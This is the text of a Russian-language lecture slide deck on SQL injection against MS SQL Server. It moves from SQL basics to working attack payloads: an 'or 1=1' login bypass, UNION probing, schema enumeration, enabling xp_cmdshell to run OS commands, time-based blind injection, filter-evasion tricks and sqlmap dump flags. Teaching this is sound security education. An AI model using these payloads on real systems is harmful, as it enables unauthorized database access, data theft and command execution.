Similar presentations:
SQL-инъекции
1.
SQL-инъекции2.
Как работают Web-приложения3.
База данныхБаза данных (БД) – это файл(ы) данных, предназначенные для хранения,
изменения и обработки больших объемов взаимосвязанной информации.
Система управления БД (СУБД) – это программное обеспечение,
позволяющее обрабатывать обращения к БД.
Пример:
• MS SQL Server
• MySQL
• Oracle
• PostgreSQL
• MongoDB
4.
SQLSQL – язык программирования, применяемый через СУБД для создания,
модификации и управления данными в БД.
В MS SQL Server БД состоит из двух частей:
• Файл данных – «.mdf», где находятся все таблицы и запросы.
• Файл журнала транзакций – «.ldf», содержит журнал, где фиксируются
все действия с БД. Предназначен для восстановления БД в случае её
выхода из строя.
5.
Запросы к БДCRUD – акроним, обозначающий четыре базовые функции, используемые
при работе с базами данных: создание (create), чтение (read), модификация
(update), удаление (delete).
• INSERT – оператор языка SQL, который позволяет добавлять строки в таблицу,
заполняя их значениями.
• SELECT – оператор языка SQL, возвращающий набор данных их БД.
• UPDATE – оператор языка SQL, позволяющий обновить значения в заданных
столбцах таблицы.
• DELETE – оператор языка SQL, предназначенный для удаления записей из
таблицы.
6.
INSERTINSERT – оператор языка SQL, который позволяет добавлять строки в
таблицу, заполняя их значениями.
Синтаксис:
INSERT INTO <Название таблицы> (<Имя столбца>, ...) VALUES (<Значение>, ...)
Пример:
INSERT INTO [knastu].[dbo].[Users]
([Student], [Group], [Course])
VALUES
('Kozhin.IA', '9KB-1', 5)
7.
SELECTSELECT – оператор языка SQL, возвращающий набор данных их БД.
Синтаксис:
SELECT <Список полей> FROM <Название таблицы> WHERE <Условия>
Пример:
SELECT [Id], [Student], [Group],
[Course] FROM [knastu].[dbo].[Users]
WHERE [Course] = 5
Если необходимо выбрать все поля, можно использовать знак «*».
8.
UPDATEUPDATE – оператор языка SQL, позволяющий обновить значения в
заданных столбцах таблицы.
Синтаксис:
UPDATE <Название таблицы> SET <Имя столбца> = <Значение>, ... WHERE <Условия>
Пример:
UPDATE [knastu].[dbo].[Users]
SET [Course] = 5
WHERE [Group] = '9KB-1'
9.
DELETEDELETE – оператор языка SQL, предназначеный для удаления записей
из таблицы.
Синтаксис:
DELETE <Название таблицы> WHERE <Условия>
Пример:
DELETE [knastu].[dbo].[Users]
WHERE [Student] = 'Kozhin.IA'
10.
SQL-инъекцииSQL-инъекция – внедрение в запрос к БД произвольного SQL-кода. Предполагая как формируется
запрос можно проводить SQL-инъекции.
11.
Пример кода уязвимого для SQL-инъекцийЕсли пользователь вводит «Admin» / «123456Qq»,
аутентификация работает как предполагает
разработчик.
Так как данные с формы попадают напрямую в
запрос, злоумышленник может провести SQLинъекцию.
Если пользователь вводит «' or 1 = 1 --» / «something»,
реализуется SQL-инъекция.
12.
Произвольный запрос через SQL-инъекциюЧерез SQL-инъекцию можно выполнить произвольный
SQL запрос.
В примере сформируется запрос, который добавит
пользователя «hacker» с паролем «123456Qq».
13.
Вывод результатаСписок записей
Одна запись
Нет вывода
Чем меньше выводится записей, тем сложнее получать результат от SQL-инъекции.
Но даже при отсутствии вывода можно использовать SQL-инъекции для получения
информации.
14.
Вывод ошибокSQL ответ
Обобщённый вид
15.
Обнаружение SQL-инъекцийДля обнаружения SQL-инъекции можно
вводить различные символы
используемые в языке SQL («'», «"», «--»,
«;», «)» и т.п.) в различные элементы
сайта.
Если после ввода символа появляется
ошибка, то SQL-инъекция возможна с
большой вероятностью.
16.
<запрос1>UNION
<запрос2>
UNION
Операция UNION применяется для объединения двух наборов строк, возвращаемых
SQL-запросами. Оба запроса должны возвращать одинаковое число столбцов, и столбцы
с одинаковым порядковым номером должны иметь совместимые типы данных.
Пример:
Запрос:
Books
Id
Title
1
Math
2
IT
SELECT [LastName] FROM Authors UNION SELECT [Title] FROM Books
Результат:
LastName
IT
Authors
Id
FirstName
LastName
Kozhin
1
Igor
Kozhin
Math
17.
Определение структуры запроса через UNIONОбнаружив уязвимый запрос для SQL-инъекций, можно определить структуру
запроса через UNION.
Если запрос должен возвращать список, то через
промежуточную таблицу можно выяснить
количество полей в запросе. Добавляем по одному
полю до тех пор пока ошибка не изменится, либо
вовсе не исчезнет.
После определения количества полей в таблице,
скорее всего ошибка изменится на несоответствие
типов данных. Изменяем типы данных до тех пор
пока не исчезнут все ошибки.
' union select 1
' union select 1,1
' union select 1,1,1
' union select 1,1,1,1
' union select 1,1,1,1,1
' union select 1,1,1,1,1,1
' union select 1,1,1,1,1,1
' union select 'a',1,1,1,1,1
' union select 1,'a',1,1,1,1
' union select 1,1,'a',1,1,1
' union select 1,1,1,'a',1,1
18.
Развитие SQL-инъекцииЕсли удается определить структуру запроса и провести тестовую SQL-инъекцию,
то через нее можно узнать:
Версию SQL
Название баз данных
Название таблиц в базе данных
Название столбцов в базе данных
Вывести значения из таблицы
Выполнить произвольную команду ОС
19.
Вывод версии SQLЗапрос на вывод версии SQL:
SELECT @@VERSION
20.
Вывод баз данныхЗапрос на получение всех БД:
SELECT * FROM sys.databases
21.
Вывод всех таблицЗапрос на получение всех таблиц в БД:
SELECT * FROM INFORMATION_SCHEMA.TABLES
В поле «TABLE_NAME» храниться
имена таблиц.
22.
Вывод всех столбцовЗапрос на получение всех столбцов в БД:
SELECT * FROM INFORMATION_SCHEMA.COLUMNS
В поле «COLUMN_NAME»
хранятся имена полей
таблиц.
23.
Взаимодействие с ОССУБД может взаимодействовать с ОС, таким образом можно получить информацию о
компьютере. Стандартно данная функция отключена, но ее можно включить выполнив:
exec sp_configure 'show advanced option', '1'
reconfigure
exec sp_configure 'xp_cmdshell', '1'
reconfigure
Выполнить команду CMD:
exec xp_cmdshell 'ping 8.8.8.8'
По умолчанию права выданы только на
чтение.
24.
Пример взаимодействия с ОСДля получения результата от ОС можно воспользоваться следующим методом:
1) Включить возможность взаимодействия с ОС.
exec sp_configure 'show advanced option', '1';reconfigure;
exec sp_configure 'xp_cmdshell', '1';reconfigure;
2) Создать временную таблицу. После чего записать в нее результат произвольной
команды CMD.
CREATE TABLE Hacker(value nvarchar(max));
INSERT Hacker(value) EXEC xp_cmdshell N'ipconfig';
3) Получить данные из временной таблицы.
4) Удалить временную таблицу.
DROP TABLE Hacker
25.
Слепые SQL-инъекцииСлепая SQL-инъекция - это тип атаки SQL-инъекции, которая задает БД
вопросы на Да/Нет и определяет ответ на основе задержки.
Слепая SQL-инъекция используется, когда веб-приложение уязвимо для
SQL-инъекции, но результаты инъекции не видны.
Создание задержки в MS SQL Server:
waitfor delay '00:00:05'
Создание задержки в MySQL:
sleep(5)
26.
Количество таблицДля получения количества таблиц, через слепые SQL-инъекции, можно использовать
следующий запрос:
DECLARE @temp int;
SELECT @temp = COUNT(*) FROM INFORMATION_SCHEMA.TABLES;
IF (@temp = 17)BEGIN WAITFOR DELAY '00:00:05' END
В запросе объявляется переменная temp в которую сохраняется количество таблиц.
Далее temp сравнивается с константой. Если условие выполняется, по происходит
задержка, иначе ничего. В условии можно использовать операторы больше, меньше,
равно.
27.
Перебор через подстрокуЗначение каких-либо объектов можно перебирать через подстроку. Например, для
получения названия таблиц, через слепые SQL-инъекции, можно использовать
следующий запрос:
DECLARE @temp int;
SELECT @temp = COUNT(*) FROM INFORMATION_SCHEMA.TABLES
WHERE ascii(SUBSTRING(TABLE_NAME,1,1)) = 65;
IF (@temp >= 1)BEGIN WAITFOR DELAY '00:00:05' END
28.
Перебор через маскуЗначение каких-либо объектов можно перебирать через маску. Например, для
получения названия таблиц, через слепые SQL-инъекции, можно использовать
следующий запрос:
DECLARE @temp int;
SELECT @temp = COUNT(*) FROM INFORMATION_SCHEMA.TABLES
WHERE TABLE_NAME LIKE 'Ten___';
IF (@temp >= 1)BEGIN WAITFOR DELAY '00:00:05' END
29.
Обход экранирования символов1) /**/ - пробел
2) selSELECTect - если заменяется ключевое слово на пусто
3) SeLeCt - если проверяется ключевое слово с учетом регистра
4) Строку можно указать в виде HEX, например, 0x7161 (в MySQL
работает)
30.
SQL-инъекции через HTTP запросыPostman
SQL-инъекции можно проводить через GET или POST запрос, когда нет возможности
ввода на форму, но данные отправляются на сервер.
Postman – программа,
позволяющая
генерировать
произвольные HTTP
запросы.
31.
sqlmapsqlmap – это инструмент с
открытым исходным кодом для
тестирования на проникновение,
который автоматизирует процесс
выявления и эксплуатации
уязвимости SQL-инъекций.
32.
Пример использования sqlmapКоманда:
Цель можно задать через URL. По
умолчанию используется GET запрос.
-u <URL>
Если в запросе используется один
параметр, то через него будет
выполняться поиск SQL-инъекций. Если
же параметров несколько то
необходимо явно указать используемый
параметр для выполнения SQLинъекции.
-p <PARAMETER>
Для вывода информации о БД нужно
использовать ключ «-b».
Результат:
33.
Перечислить базы данных через sqlmapДля перечисления баз
данных нужно использовать
ключ «--dbs».
Команда:
Результат:
34.
Перечислить таблицы БД через sqlmapКоманда:
Можно указать БД с которой
мы хотим работать.
-D <DATABASE>
Результат:
Для перечисления таблиц
базы данных нужно
использовать ключ «--tables».
35.
Перечислить колонки таблицы через sqlmapМожно указать таблицу с
которой мы хотим работать.
Команда:
-T <TABLE>
Для перечисления колонок
таблицы нужно использовать
ключ «--columns».
Результат:
36.
Перечислить все записи через sqlmapКоманда:
Для перечисления всех
записей таблицы нужно
использовать ключ «--dump».
Результат: